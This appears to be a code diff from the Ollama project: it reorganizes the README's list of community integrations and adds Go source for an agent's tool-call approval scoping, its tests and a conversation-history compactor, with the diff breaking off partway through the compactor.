-- [handy-ollama](https://github.com/datawhalechina/handy-ollama) (Chinese Tutorial for Ollama by [Datawhale ](https://github.com/datawhalechina) - China's Largest Open Source AI Learning Community)
-
-### Terminal
-
-- [oterm](https://github.com/ggozad/oterm)
-- [Ellama Emacs client](https://github.com/s-kostyaev/ellama)
-- [Emacs client](https://github.com/zweifisch/ollama)
-- [neollama](https://github.com/paradoxical-dev/neollama) UI client for interacting with models from within Neovim
-- [gen.nvim](https://github.com/David-Kunz/gen.nvim)
-- [ollama.nvim](https://github.com/nomnivore/ollama.nvim)
-- [ollero.nvim](https://github.com/marco-souza/ollero.nvim)
-- [ollama-chat.nvim](https://github.com/gerazov/ollama-chat.nvim)
-- [ogpt.nvim](https://github.com/huynle/ogpt.nvim)
-- [gptel Emacs client](https://github.com/karthink/gptel)
-- [Oatmeal](https://github.com/dustinblackman/oatmeal)
-- [cmdh](https://github.com/pgibler/cmdh)
-- [ooo](https://github.com/npahlfer/ooo)
-- [shell-pilot](https://github.com/reid41/shell-pilot)(Interact with models via pure shell scripts on Linux or macOS)
-- [tenere](https://github.com/pythops/tenere)
-- [llm-ollama](https://github.com/taketwo/llm-ollama) for [Datasette's LLM CLI](https://llm.datasette.io/en/stable/).
-- [typechat-cli](https://github.com/anaisbetts/typechat-cli)
-- [ShellOracle](https://github.com/djcopley/ShellOracle)
-- [tlm](https://github.com/yusufcanb/tlm)
-- [podman-ollama](https://github.com/ericcurtin/podman-ollama)
-- [gollama](https://github.com/sammcj/gollama)
-- [ParLlama](https://github.com/paulrobello/parllama)
-- [Ollama eBook Summary](https://github.com/cognitivetech/ollama-ebook-summary/)
-- [Ollama Mixture of Experts (MOE) in 50 lines of code](https://github.com/rapidarchitect/ollama_moe)
-- [vim-intelligence-bridge](https://github.com/pepo-ec/vim-intelligence-bridge) Simple interaction of "Ollama" with the Vim editor
-- [x-cmd ollama](https://x-cmd.com/mod/ollama)
-- [bb7](https://github.com/drunkwcodes/bb7)
-- [SwollamaCLI](https://github.com/marcusziade/Swollama) bundled with the Swollama Swift package. [Demo](https://github.com/marcusziade/Swollama?tab=readme-ov-file#cli-usage)
-- [aichat](https://github.com/sigoden/aichat) All-in-one LLM CLI tool featuring Shell Assistant, Chat-REPL, RAG, AI tools & agents, with access to OpenAI, Claude, Gemini, Ollama, Groq, and more.
-- [PowershAI](https://github.com/rrg92/powershai) PowerShell module that brings AI to terminal on Windows, including support for Ollama
-- [DeepShell](https://github.com/Abyss-c0re/deepshell) Your self-hosted AI assistant. Interactive Shell, Files and Folders analysis.
-- [orbiton](https://github.com/xyproto/orbiton) Configuration-free text editor and IDE with support for tab completion with Ollama.
-- [orca-cli](https://github.com/molbal/orca-cli) Ollama Registry CLI Application - Browse, pull, and download models from Ollama Registry in your terminal.
-- [GGUF-to-Ollama](https://github.com/jonathanhecl/gguf-to-ollama) - Importing GGUF to Ollama made easy (multiplatform)
-- [AWS-Strands-With-Ollama](https://github.com/rapidarchitect/ollama_strands) - AWS Strands Agents with Ollama Examples
-- [ollama-multirun](https://github.com/attogram/ollama-multirun) - A bash shell script to run a single prompt against any or all of your locally installed ollama models, saving the output and performance statistics as easily navigable web pages. ([Demo](https://attogram.github.io/ai_test_zone/))
-- [ollama-bash-toolshed](https://github.com/attogram/ollama-bash-toolshed) - Bash scripts to chat with tool using models. Add new tools to your shed with ease. Runs on Ollama.
-- [hle-eval-ollama](https://github.com/mags0ft/hle-eval-ollama) - Runs benchmarks like "Humanity's Last Exam" (HLE) on your favorite local Ollama models and evaluates the quality of their responses
-- [VT Code](https://github.com/vinhnx/vtcode) - VT Code is a Rust-based terminal coding agent with semantic code intelligence via Tree-sitter. Ollama integration for running local/cloud models with configurable endpoints.
-
-### Apple Vision Pro
-
-- [SwiftChat](https://github.com/aws-samples/swift-chat) (Cross-platform AI chat app supporting Apple Vision Pro via "Designed for iPad")
-- [Enchanted](https://github.com/AugustDev/enchanted)
-
-### Database
-
-- [pgai](https://github.com/timescale/pgai) - PostgreSQL as a vector database (Create and search embeddings from Ollama models using pgvector)
-   - [Get started guide](https://github.com/timescale/pgai/blob/main/docs/vectorizer-quick-start.md)
-- [MindsDB](https://github.com/mindsdb/mindsdb/blob/staging/mindsdb/integrations/handlers/ollama_handler/README.md) (Connects Ollama models with nearly 200 data platforms and apps)
-- [chromem-go](https://github.com/philippgille/chromem-go/blob/v0.5.0/embed_ollama.go) with [example](https://github.com/philippgille/chromem-go/tree/v0.5.0/examples/rag-wikipedia-ollama)
-- [Kangaroo](https://github.com/dbkangaroo/kangaroo) (AI-powered SQL client and admin tool for popular databases)
-
-### Package managers
+#### Package Managers
 
 - [Pacman](https://archlinux.org/packages/extra/x86_64/ollama/)
-- [Gentoo](https://github.com/gentoo/guru/tree/master/app-misc/ollama)
 - [Homebrew](https://formulae.brew.sh/formula/ollama)
-- [Helm Chart](https://artifacthub.io/packages/helm/ollama-helm/ollama)
-- [Guix channel](https://codeberg.org/tusharhero/ollama-guix)
 - [Nix package](https://search.nixos.org/packages?show=ollama&from=0&size=50&sort=relevance&type=packages&query=ollama)
+- [Helm Chart](https://artifacthub.io/packages/helm/ollama-helm/ollama)
+- [Gentoo](https://github.com/gentoo/guru/tree/master/app-misc/ollama)
 - [Flox](https://flox.dev/blog/ollama-part-one)
-
-### Libraries
-
-- [LangChain](https://python.langchain.com/docs/integrations/chat/ollama/) and [LangChain.js](https://js.langchain.com/docs/integrations/chat/ollama/) with [example](https://js.langchain.com/docs/tutorials/local_rag/)
-- [Firebase Genkit](https://firebase.google.com/docs/genkit/plugins/ollama)
-- [crewAI](https://github.com/crewAIInc/crewAI)
-- [Yacana](https://remembersoftwares.github.io/yacana/) (User-friendly multi-agent framework for brainstorming and executing predetermined flows with built-in tool integration)
-- [Strands Agents](https://github.com/strands-agents/sdk-python) (A model-driven approach to building AI agents in just a few lines of code)
-- [Spring AI](https://github.com/spring-projects/spring-ai) with [reference](https://docs.spring.io/spring-ai/reference/api/chat/ollama-chat.html) and [example](https://github.com/tzolov/ollama-tools)
-- [LangChainGo](https://github.com/tmc/langchaingo/) with [example](https://github.com/tmc/langchaingo/tree/main/examples/ollama-completion-example)
-- [LangChain4j](https://github.com/langchain4j/langchain4j) with [example](https://github.com/langchain4j/langchain4j-examples/tree/main/ollama-examples/src/main/java)
-- [LangChainRust](https://github.com/Abraxas-365/langchain-rust) with [example](https://github.com/Abraxas-365/langchain-rust/blob/main/examples/llm_ollama.rs)
-- [LangChain for .NET](https://github.com/tryAGI/LangChain) with [example](https://github.com/tryAGI/LangChain/blob/main/examples/LangChain.Samples.OpenAI/Program.cs)
-- [LLPhant](https://github.com/theodo-group/LLPhant?tab=readme-ov-file#ollama)
-- [LlamaIndex](https://docs.llamaindex.ai/en/stable/examples/llm/ollama/) and [LlamaIndexTS](https://ts.llamaindex.ai/modules/llms/available_llms/ollama)
-- [LiteLLM](https://github.com/BerriAI/litellm)
-- [OllamaFarm for Go](https://github.com/presbrey/ollamafarm)
-- [OllamaSharp for .NET](https://github.com/awaescher/OllamaSharp)
-- [Ollama for Ruby](https://github.com/gbaptista/ollama-ai)
-- [Ollama-rs for Rust](https://github.com/pepperoni21/ollama-rs)
-- [Ollama-hpp for C++](https://github.com/jmont-dev/ollama-hpp)
-- [Ollama4j for Java](https://github.com/ollama4j/ollama4j)
-- [ModelFusion Typescript Library](https://modelfusion.dev/integration/model-provider/ollama)
-- [OllamaKit for Swift](https://github.com/kevinhermawan/OllamaKit)
-- [Ollama for Dart](https://github.com/breitburg/dart-ollama)
-- [Ollama for Laravel](https://github.com/cloudstudio/ollama-laravel)
-- [LangChainDart](https://github.com/davidmigloz/langchain_dart)
-- [Semantic Kernel - Python](https://github.com/microsoft/semantic-kernel/tree/main/python/semantic_kernel/connectors/ai/ollama)
-- [Haystack](https://github.com/deepset-ai/haystack-integrations/blob/main/integrations/ollama.md)
-- [Elixir LangChain](https://github.com/brainlid/langchain)
-- [Ollama for R - rollama](https://github.com/JBGruber/rollama)
-- [Ollama for R - ollama-r](https://github.com/hauselin/ollama-r)
-- [Ollama-ex for Elixir](https://github.com/lebrunel/ollama-ex)
-- [Ollama Connector for SAP ABAP](https://github.com/b-tocs/abap_btocs_ollama)
-- [Testcontainers](https://testcontainers.com/modules/ollama/)
-- [Portkey](https://portkey.ai/docs/welcome/integration-guides/ollama)
-- [PromptingTools.jl](https://github.com/svilupp/PromptingTools.jl) with an [example](https://svilupp.github.io/PromptingTools.jl/dev/examples/working_with_ollama)
-- [LlamaScript](https://github.com/Project-Llama/llamascript)
-- [llm-axe](https://github.com/emirsahin1/llm-axe) (Python Toolkit for Building LLM Powered Apps)
-- [Gollm](https://docs.gollm.co/examples/ollama-example)
-- [Gollama for Golang](https://github.com/jonathanhecl/gollama)
-- [Ollamaclient for Golang](https://github.com/xyproto/ollamaclient)
-- [High-level function abstraction in Go](https://gitlab.com/tozd/go/fun)
-- [Ollama PHP](https://github.com/ArdaGnsrn/ollama-php)
-- [Agents-Flex for Java](https://github.com/agents-flex/agents-flex) with [example](https://github.com/agents-flex/agents-flex/tree/main/agents-flex-llm/agents-flex-llm-ollama/src/test/java/com/agentsflex/llm/ollama)
-- [Parakeet](https://github.com/parakeet-nest/parakeet) is a GoLang library, made to simplify the development of small generative AI applications with Ollama.
-- [Haverscript](https://github.com/andygill/haverscript) with [examples](https://github.com/andygill/haverscript/tree/main/examples)
-- [Ollama for Swift](https://github.com/mattt/ollama-swift)
-- [Swollama for Swift](https://github.com/guitaripod/Swollama) with [DocC](https://guitaripod.github.io/Swollama/documentation/swollama)
-- [GoLamify](https://github.com/prasad89/golamify)
-- [Ollama for Haskell](https://github.com/tusharad/ollama-haskell)
-- [multi-llm-ts](https://github.com/nbonamy/multi-llm-ts) (A Typescript/JavaScript library allowing access to different LLM in a unified API)
-- [LlmTornado](https://github.com/lofcz/llmtornado) (C# library providing a unified interface for major FOSS & Commercial inference APIs)
-- [Ollama for Zig](https://github.com/dravenk/ollama-zig)
-- [Abso](https://github.com/lunary-ai/abso) (OpenAI-compatible TypeScript SDK for any LLM provider)
-- [Nichey](https://github.com/goodreasonai/nichey) is a Python package for generating custom wikis for your research topic
-- [Ollama for D](https://github.com/kassane/ollama-d)
-- [OllamaPlusPlus](https://github.com/HardCodeDev777/OllamaPlusPlus) (Very simple C++ library for Ollama)
-- [any-llm](https://github.com/mozilla-ai/any-llm) (A single interface to use different llm providers by [mozilla.ai](https://www.mozilla.ai/))
-- [any-agent](https://github.com/mozilla-ai/any-agent) (A single interface to use and evaluate different agent frameworks by [mozilla.ai](https://www.mozilla.ai/))
-- [Neuro SAN](https://github.com/cognizant-ai-lab/neuro-san-studio) (Data-driven multi-agent orchestration framework) with [example](https://github.com/cognizant-ai-lab/neuro-san-studio/blob/main/docs/user_guide.md#ollama)
-- [achatbot-go](https://github.com/ai-bot-pro/achatbot-go) a multimodal(text/audio/image) chatbot.
-- [Ollama Bash Lib](https://github.com/attogram/ollama-bash-lib) - A Bash Library for Ollama. Run LLM prompts straight from your shell, and more
-
-### Mobile
-
-- [SwiftChat](https://github.com/aws-samples/swift-chat) (Lightning-fast Cross-platform AI chat app with native UI for Android, iOS, and iPad)
-- [Enchanted](https://github.com/AugustDev/enchanted)
-- [Maid](https://github.com/Mobile-Artificial-Intelligence/maid)
-- [Ollama App](https://github.com/JHubi1/ollama-app) (Modern and easy-to-use multi-platform client for Ollama)
-- [ConfiChat](https://github.com/1runeberg/confichat) (Lightweight, standalone, multi-platform, and privacy-focused LLM chat interface with optional encryption)
-- [Ollama Android Chat](https://github.com/sunshine0523/OllamaServer) (No need for Termux, start the Ollama service with one click on an Android device)
-- [Reins](https://github.com/ibrahimcetin/reins) (Easily tweak parameters, customize system prompts per chat, and enhance your AI experiments with reasoning model support.)
-
-### Extensions & Plugins
-
-- [Raycast extension](https://github.com/MassimilianoPasquini97/raycast_ollama)
-- [Discollama](https://github.com/mxyng/discollama) (Discord bot inside the Ollama discord channel)
-- [Continue](https://github.com/continuedev/continue)
-- [Vibe](https://github.com/thewh1teagle/vibe) (Transcribe and analyze meetings with Ollama)
-- [Obsidian Ollama plugin](https://github.com/hinterdupfinger/obsidian-ollama)
-- [Logseq Ollama plugin](https://github.com/omagdy7/ollama-logseq)
-- [NotesOllama](https://github.com/andersrex/notesollama) (Apple Notes Ollama plugin)
-- [Dagger Chatbot](https://github.com/samalba/dagger-chatbot)
-- [Discord AI Bot](https://github.com/mekb-turtle/discord-ai-bot)
-- [Ollama Telegram Bot](https://github.com/ruecat/ollama-telegram)
-- [Hass Ollama Conversation](https://github.com/ej52/hass-ollama-conversation)
-- [Rivet plugin](https://github.com/abrenneke/rivet-plugin-ollama)
-- [Obsidian BMO Chatbot plugin](https://github.com/longy2k/obsidian-bmo-chatbot)
-- [Cliobot](https://github.com/herval/cliobot) (Telegram bot with Ollama support)
-- [Copilot for Obsidian plugin](https://github.com/logancyang/obsidian-copilot)
-- [Obsidian Local GPT plugin](https://github.com/pfrankov/obsidian-local-gpt)
-- [Open Interpreter](https://docs.openinterpreter.com/language-model-setup/local-models/ollama)
-- [Llama Coder](https://github.com/ex3ndr/llama-coder) (Copilot alternative using Ollama)
-- [Ollama Copilot](https://github.com/bernardo-bruning/ollama-copilot) (Proxy that allows you to use Ollama as a copilot like GitHub Copilot)
-- [twinny](https://github.com/rjmacarthy/twinny) (Copilot and Copilot chat alternative using Ollama)
-- [Wingman-AI](https://github.com/RussellCanfield/wingman-ai) (Copilot code and chat alternative using Ollama and Hugging Face)
-- [Page Assist](https://github.com/n4ze3m/page-assist) (Chrome Extension)
-- [Plasmoid Ollama Control](https://github.com/imoize/plasmoid-ollamacontrol) (KDE Plasma extension that allows you to quickly manage/control Ollama model)
-- [AI Telegram Bot](https://github.com/tusharhero/aitelegrambot) (Telegram bot using Ollama in backend)
-- [AI ST Completion](https://github.com/yaroslavyaroslav/OpenAI-sublime-text) (Sublime Text 4 AI assistant plugin with Ollama support)
-- [Discord-Ollama Chat Bot](https://github.com/kevinthedang/discord-ollama) (Generalized TypeScript Discord Bot w/ Tuning Documentation)
-- [ChatGPTBox: All in one browser extension](https://github.com/josStorer/chatGPTBox) with [Integrating Tutorial](https://github.com/josStorer/chatGPTBox/issues/616#issuecomment-1975186467)
-- [Discord AI chat/moderation bot](https://github.com/rapmd73/Companion) Chat/moderation bot written in python. Uses Ollama to create personalities.
-- [Headless Ollama](https://github.com/nischalj10/headless-ollama) (Scripts to automatically install ollama client & models on any OS for apps that depend on ollama server)
-- [Terraform AWS Ollama & Open WebUI](https://github.com/xuyangbocn/terraform-aws-self-host-llm) (A Terraform module to deploy on AWS a ready-to-use Ollama service, together with its front-end Open WebUI service.)
-- [node-red-contrib-ollama](https://github.com/jakubburkiewicz/node-red-contrib-ollama)
-- [Local AI Helper](https://github.com/ivostoykov/localAI) (Chrome and Firefox extensions that enable interactions with the active tab and customisable API endpoints. Includes secure storage for user prompts.)
-- [LSP-AI](https://github.com/SilasMarvin/lsp-ai) (Open-source language server for AI-powered functionality)
-- [QodeAssist](https://github.com/Palm1r/QodeAssist) (AI-powered coding assistant plugin for Qt Creator)
-- [Obsidian Quiz Generator plugin](https://github.com/ECuiDev/obsidian-quiz-generator)
-- [AI Summary Helper plugin](https://github.com/philffm/ai-summary-helper)
-- [TextCraft](https://github.com/suncloudsmoon/TextCraft) (Copilot in Word alternative using Ollama)
-- [Alfred Ollama](https://github.com/zeitlings/alfred-ollama) (Alfred Workflow)
-- [TextLLaMA](https://github.com/adarshM84/TextLLaMA) A Chrome Extension that helps you write emails, correct grammar, and translate into any language
-- [Simple-Discord-AI](https://github.com/zyphixor/simple-discord-ai)
-- [LLM Telegram Bot](https://github.com/innightwolfsleep/llm_telegram_bot) (telegram bot, primary for RP. Oobabooga-like buttons, [A1111](https://github.com/AUTOMATIC1111/stable-diffusion-webui) API integration e.t.c)
-- [mcp-llm](https://github.com/sammcj/mcp-llm) (MCP Server to allow LLMs to call other LLMs)
-- [SimpleOllamaUnity](https://github.com/HardCodeDev777/SimpleOllamaUnity) (Unity Engine extension for communicating with Ollama in a few lines of code. Also works at runtime)
-- [UnityCodeLama](https://github.com/HardCodeDev777/UnityCodeLama) (Unity Editor tool to analyze scripts via Ollama)
-- [NativeMind](https://github.com/NativeMindBrowser/NativeMindExtension) (Private, on-device AI Assistant, no cloud dependencies)
-- [GMAI - Gradle Managed AI](https://gmai.premex.se/) (Gradle plugin for automated Ollama lifecycle management during build phases)
-- [NOMYO Router](https://github.com/nomyo-ai/nomyo-router) (A transparent Ollama proxy with model deployment aware routing which auto-manages multiple Ollama instances in a given network)
-
-### Supported backends
-
-- [llama.cpp](https://github.com/ggml-org/llama.cpp) project founded by Georgi Gerganov.
-
-### Observability
-- [Opik](https://www.comet.com/docs/opik/cookbook/ollama) is an open-source platform to debug, evaluate, and monitor your LLM applications, RAG systems, and agentic workflows with comprehensive tracing, automated evaluations, and production-ready dashboards. Opik supports native integration to Ollama.
-- [Lunary](https://lunary.ai/docs/integrations/ollama) is the leading open-source LLM observability platform. It provides a variety of enterprise-grade features such as real-time analytics, prompt templates management, PII masking, and comprehensive agent tracing.
-- [OpenLIT](https://github.com/openlit/openlit) is an OpenTelemetry-native tool for monitoring Ollama Applications & GPUs using traces and metrics.
-- [HoneyHive](https://docs.honeyhive.ai/integrations/ollama) is an AI observability and evaluation platform for AI agents. Use HoneyHive to evaluate agent performance, interrogate failures, and monitor quality in production.
-- [Langfuse](https://langfuse.com/docs/integrations/ollama) is an open source LLM observability platform that enables teams to collaboratively monitor, evaluate and debug AI applications.
-- [MLflow Tracing](https://mlflow.org/docs/latest/llms/tracing/index.html#automatic-tracing) is an open source LLM observability tool with a convenient API to log and visualize traces, making it easy to debug and evaluate GenAI applications.
-
-### Security
-- [Ollama Fortress](https://github.com/ParisNeo/ollama_proxy_server)
+- [Guix channel](https://codeberg.org/tusharhero/ollama-guix)

agent/approval.go

@@ -0,0 +1,209 @@
+package agent
+
+import (
+	"context"
+	"strings"
+	"sync"
+)
+
+type ApprovalRequest struct {
+	WorkingDir string
+	Calls      []ApprovalToolCall
+}
+
+func (r *ApprovalRequest) AddToolCall(id, name string, args map[string]any) {
+	r.Calls = append(r.Calls, ApprovalToolCall{
+		ToolCallID:    id,
+		ToolName:      name,
+		Args:          args,
+		ApprovalScope: toolApprovalScope(name, args),
+	})
+}
+
+type ApprovalToolCall struct {
+	ToolCallID    string
+	ToolName      string
+	Args          map[string]any
+	ApprovalScope string
+}
+
+type Approval struct {
+	Allow       bool
+	AllowAll    bool
+	AllowScopes []string
+	Reason      string
+}
+
+type ApprovalPrompter interface {
+	PromptApproval(context.Context, ApprovalRequest) (Approval, error)
+}
+
+type ApprovalState struct {
+	mu       sync.RWMutex
+	allowAll bool
+	scopes   map[string]bool
+}
+
+func (s *ApprovalState) Set(allowAll bool, scopes map[string]bool) {
+	if s == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.allowAll = allowAll
+	s.scopes = cloneApprovalScopes(scopes)
+}
+
+func (s *ApprovalState) SetAllowAll(allowAll bool) {
+	if s == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.allowAll = allowAll
+}
+
+func (s *ApprovalState) AllowAll() bool {
+	if s == nil {
+		return false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	return s.allowAll
+}
+
+func (s *ApprovalState) Allows(scope string) bool {
+	if s == nil {
+		return false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	return s.allowAll || s.scopes[scope]
+}
+
+func (s *ApprovalState) Apply(result *Approval) {
+	if s == nil || result == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	if result.AllowAll {
+		result.Allow = true
+		s.allowAll = true
+	}
+	if len(result.AllowScopes) > 0 {
+		result.Allow = true
+		if s.scopes == nil {
+			s.scopes = make(map[string]bool, len(result.AllowScopes))
+		}
+		for _, scope := range result.AllowScopes {
+			scope = strings.TrimSpace(scope)
+			if scope != "" {
+				s.scopes[scope] = true
+			}
+		}
+	}
+}
+
+func (s *ApprovalState) AllowScopes(scopes []string) {
+	if s == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	if s.scopes == nil {
+		s.scopes = make(map[string]bool, len(scopes))
+	}
+	for _, scope := range scopes {
+		scope = strings.TrimSpace(scope)
+		if scope != "" {
+			s.scopes[scope] = true
+		}
+	}
+}
+
+func cloneApprovalScopes(src map[string]bool) map[string]bool {
+	if len(src) == 0 {
+		return nil
+	}
+	dst := make(map[string]bool, len(src))
+	for scope, allowed := range src {
+		if allowed {
+			dst[scope] = true
+		}
+	}
+	return dst
+}
+
+func (s *Session) needsApproval(tool Tool, name string, args map[string]any) bool {
+	return ToolRequiresApproval(tool, args) && !s.allows(toolApprovalScope(name, args))
+}
+
+// allows reports whether scope is permitted by the session's accumulated approval state.
+func (s *Session) allows(scope string) bool {
+	if s == nil || s.ApprovalState == nil {
+		return false
+	}
+	return s.ApprovalState.Allows(scope)
+}
+
+// applyApproval merges an approval result into the session's state and marks
+// the result as allowed when scopes or allow-all were granted. It mutates
+// result.Allow so the caller can branch on the effective decision.
+func (s *Session) applyApproval(result *Approval) {
+	if s == nil || result == nil {
+		return
+	}
+	if s.ApprovalState == nil {
+		s.ApprovalState = &ApprovalState{}
+	}
+	s.ApprovalState.Apply(result)
+}
+
+func (s *Session) authorizeToolCalls(ctx context.Context, req ApprovalRequest) (Approval, error) {
+	if s == nil || len(req.Calls) == 0 || (s.ApprovalState != nil && s.ApprovalState.AllowAll()) {
+		return Approval{Allow: true}, nil
+	}
+	if s.ApprovalPrompter == nil {
+		return Approval{
+			Reason: "Tool execution requires approval, but no approval prompter is available.",
+		}, nil
+	}
+
+	result, err := s.ApprovalPrompter.PromptApproval(ctx, req)
+	if err != nil {
+		return Approval{}, err
+	}
+	s.applyApproval(&result)
+	return result, nil
+}
+
+// toolApprovalScope returns the approval scope key for a tool invocation.
+//
+// For shell tools (bash/powershell) the scope is "<tool>\x00<command>": the
+// exact, trimmed command byte string. "Always allow this command" therefore
+// matches ONLY that precise string — any whitespace, quoting, or casing
+// variant, or any command that is a superset of the approved one, will
+// re-prompt. The NUL separator is safe because a shell command string cannot
+// contain a literal NUL. For all other tools the scope is the tool name.
+func toolApprovalScope(toolName string, args map[string]any) string {
+	toolName = strings.TrimSpace(toolName)
+	if isShellApprovalTool(toolName) {
+		if command, ok := stringArg(args, "command"); ok {
+			command = strings.TrimSpace(command)
+			if command != "" {
+				return toolName + "\x00" + command
+			}
+		}
+	}
+	return toolName
+}
+
+func isShellApprovalTool(name string) bool {
+	return name == "bash" || name == "powershell"
+}
+
+func stringArg(args map[string]any, key string) (string, bool) {
+	value, ok := args[key].(string)
+	return value, ok
+}

agent/approval_test.go

@@ -0,0 +1,55 @@
+package agent
+
+import "testing"
+
+func TestApprovalRequestScopesShellCommandsToExactCommand(t *testing.T) {
+	req := ApprovalRequest{}
+	req.AddToolCall("call-1", "bash", map[string]any{"command": " pwd "})
+	req.AddToolCall("call-2", "powershell", map[string]any{"command": "Get-ChildItem"})
+	req.AddToolCall("call-3", "edit", map[string]any{"path": "README.md"})
+
+	tests := []struct {
+		index int
+		want  string
+	}{
+		{index: 0, want: "bash\x00pwd"},
+		{index: 1, want: "powershell\x00Get-ChildItem"},
+		{index: 2, want: "edit"},
+	}
+	for _, tt := range tests {
+		if got := req.Calls[tt.index].ApprovalScope; got != tt.want {
+			t.Fatalf("call %d approval scope = %q, want %q", tt.index, got, tt.want)
+		}
+	}
+}
+
+func TestSessionApplyApprovalScopes(t *testing.T) {
+	session := &Session{}
+	result := Approval{AllowScopes: []string{"edit", "bash\x00pwd", " "}}
+
+	session.applyApproval(&result)
+
+	if !result.Allow {
+		t.Fatal("scoped approval should allow the current request")
+	}
+	if !session.allows("edit") || !session.allows("bash\x00pwd") {
+		t.Fatal("scoped approval was not saved")
+	}
+	if session.allows("bash") || session.allows("bash\x00ls") {
+		t.Fatal("shell approval was too broad")
+	}
+	if session.ApprovalState.AllowAll() {
+		t.Fatal("allow all = true, want false for scoped approval")
+	}
+}
+
+func TestSessionApplyApprovalAllowAll(t *testing.T) {
+	session := &Session{}
+	result := Approval{AllowAll: true}
+
+	session.applyApproval(&result)
+
+	if !result.Allow || !session.allows("anything") {
+		t.Fatalf("allow all = %v result = %#v, want allow all", session.ApprovalState.AllowAll(), result)
+	}
+}

agent/compactor.go

@@ -0,0 +1,629 @@
+package agent
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http"
+	"strings"
+
+	"github.com/ollama/ollama/api"
+)
+
+// Compaction wire-format. These constants and helpers are the single canonical
+// definition of how a compacted turn is represented in message history.
+const (
+	CompactionSummaryMessagePrefix = "Conversation summary:\n"
+	CompactionToolName             = "summary"
+	CompactionToolCallID           = "ollama_compaction"
+	CompactionContinueInstruction  = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
+)
+
+const (
+	defaultCompactionContextWindowTokens = 32768
+	defaultCompactionKeepUserTurns       = 3
+	defaultCompactionThreshold           = 0.8
+	compactOnlySummaryContextTokens      = 16000
+
+	maxCompactionSummaryBytes  = 16 * 1024
+	compactionSummaryTruncated = "\n\n[summary truncated]"
+
+	compactionSystemPrompt = "Summarize the archived part of an Ollama agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary."
+)
+
+type Compactor interface {
+	MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error)
+}
+
+type CompactionOptions struct {
+	ContextWindowTokens int
+	KeepUserTurns       int
+	Threshold           float64
+}
+
+type CompactionRequest struct {
+	ChatID        string
+	Model         string
+	SystemPrompt  string
+	Messages      []api.Message
+	Tools         api.Tools
+	Format        string
+	Latest        api.ChatResponse
+	Options       map[string]any
+	KeepAlive     *api.Duration
+	Think         *api.ThinkValue
+	Force         bool
+	ContinueTask  bool
+	KeepUserTurns *int
+	Progress      func(CompactionProgress)
+}
+
+type CompactionProgress struct {
+	Tokens int
+}
+
+type CompactionResult struct {
+	Messages  []api.Message
+	Compacted bool
+	Due       bool
+	Summary   string
+	Reason    string
+}
+
+type SimpleCompactor struct {
+	Client  ChatClient
+	Options CompactionOptions
+}
+
+func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) {
+	result := CompactionResult{Messages: req.Messages}
+	if c == nil {
+		return result, nil
+	}
+
+	result.Due = req.Force || c.shouldCompact(req)
+	if !result.Due {
+		return result, nil
+	}
+	if c.Client == nil {
+		result.Reason = "compaction is unavailable"
+		return result, nil
+	}
+
+	keepUserTurns := c.keepUserTurns(req.Options)
+	if req.KeepUserTurns != nil {
+		keepUserTurns = *req.KeepUserTurns
+	}
+	prefix, previousSummary, archive, suffix, _, ok := splitCompactionMessages(req.Messages, keepUserTurns)
+	if !ok || len(archive) == 0 {
+		result.Reason = "nothing to compact"
+		return result, nil
+	}
+
+	summary, err := c.summarize(ctx, req, previousSummary, archive)
+	if err != nil {
+		result.Reason = err.Error()
+		return result, err
+	}
+	summary = truncateCompactionSummary(strings.TrimSpace(summary))
+	if summary == "" {
+		summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive)
+		if err != nil {
+			result.Reason = err.Error()
+			return result, err
+		}
+		summary = truncateCompactionSummary(strings.TrimSpace(summary))
+	}
+	if summary == "" {
+		result.Reason = "summary was empty"
+		return result, nil
+	}
+
+	compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2)
+	compacted = append(compacted, prefix...)
+	compacted = append(compacted, CompactionSummaryMessages(summary, req.ContinueTask)...)
+	compacted = append(compacted, suffix...)
+	result.Messages = compacted
+	result.Compacted = true
+	result.Summary = summary
+	return result, nil
+}
+
+func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool {
+	contextWindow := c.contextWindowTokens(req.Options)
+	threshold := int(float64(contextWindow) * c.threshold())
+	if threshold <= 0 {
+		return false
+	}
+	if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
+		return true
+	}
+	return estimateCompactionRequestTokens(req) >= threshold
+}
+
+func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int {
+	return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens)
+}
+
+func (c *SimpleCompactor) keepUserTurns(options map[string]any) int {
+	contextWindow := c.contextWindowTokens(options)
+	if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens {
+		return 0
+	}
+	if c.Options.KeepUserTurns > 0 {
+		return c.Options.KeepUserTurns
+	}
+	return defaultCompactionKeepUserTurns
+}
+
+func (c *SimpleCompactor) threshold() float64 {
+	return ResolveCompactionThreshold(c.Options.Threshold)
+}
+
+func ResolveContextWindowTokens(options map[string]any, configured int) int {
+	if n := intOption(options, "num_ctx"); n > 0 {
+		return n
+	}
+	if configured > 0 {
+		return configured
+	}
+	return defaultCompactionContextWindowTokens
+}
+
+func ResolveCompactionThreshold(configured float64) float64 {
+	if configured > 0 {
+		return configured
+	}
+	return defaultCompactionThreshold
+}
+
+func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
+	body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options))
+	if err != nil {
+		return "", err
+	}
+
+	chatReq := &api.ChatRequest{
+		Model: req.Model,
+		Messages: []api.Message{
+			{
+				Role:    "system",
+				Content: compactionSystemPrompt,
+			},
+			{
+				Role:    "user",
+				Content: body,
+			},
+		},
+		Options: req.Options,
+		Think:   req.Think,
+	}
+	if req.KeepAlive != nil {
+		chatReq.KeepAlive = req.KeepAlive
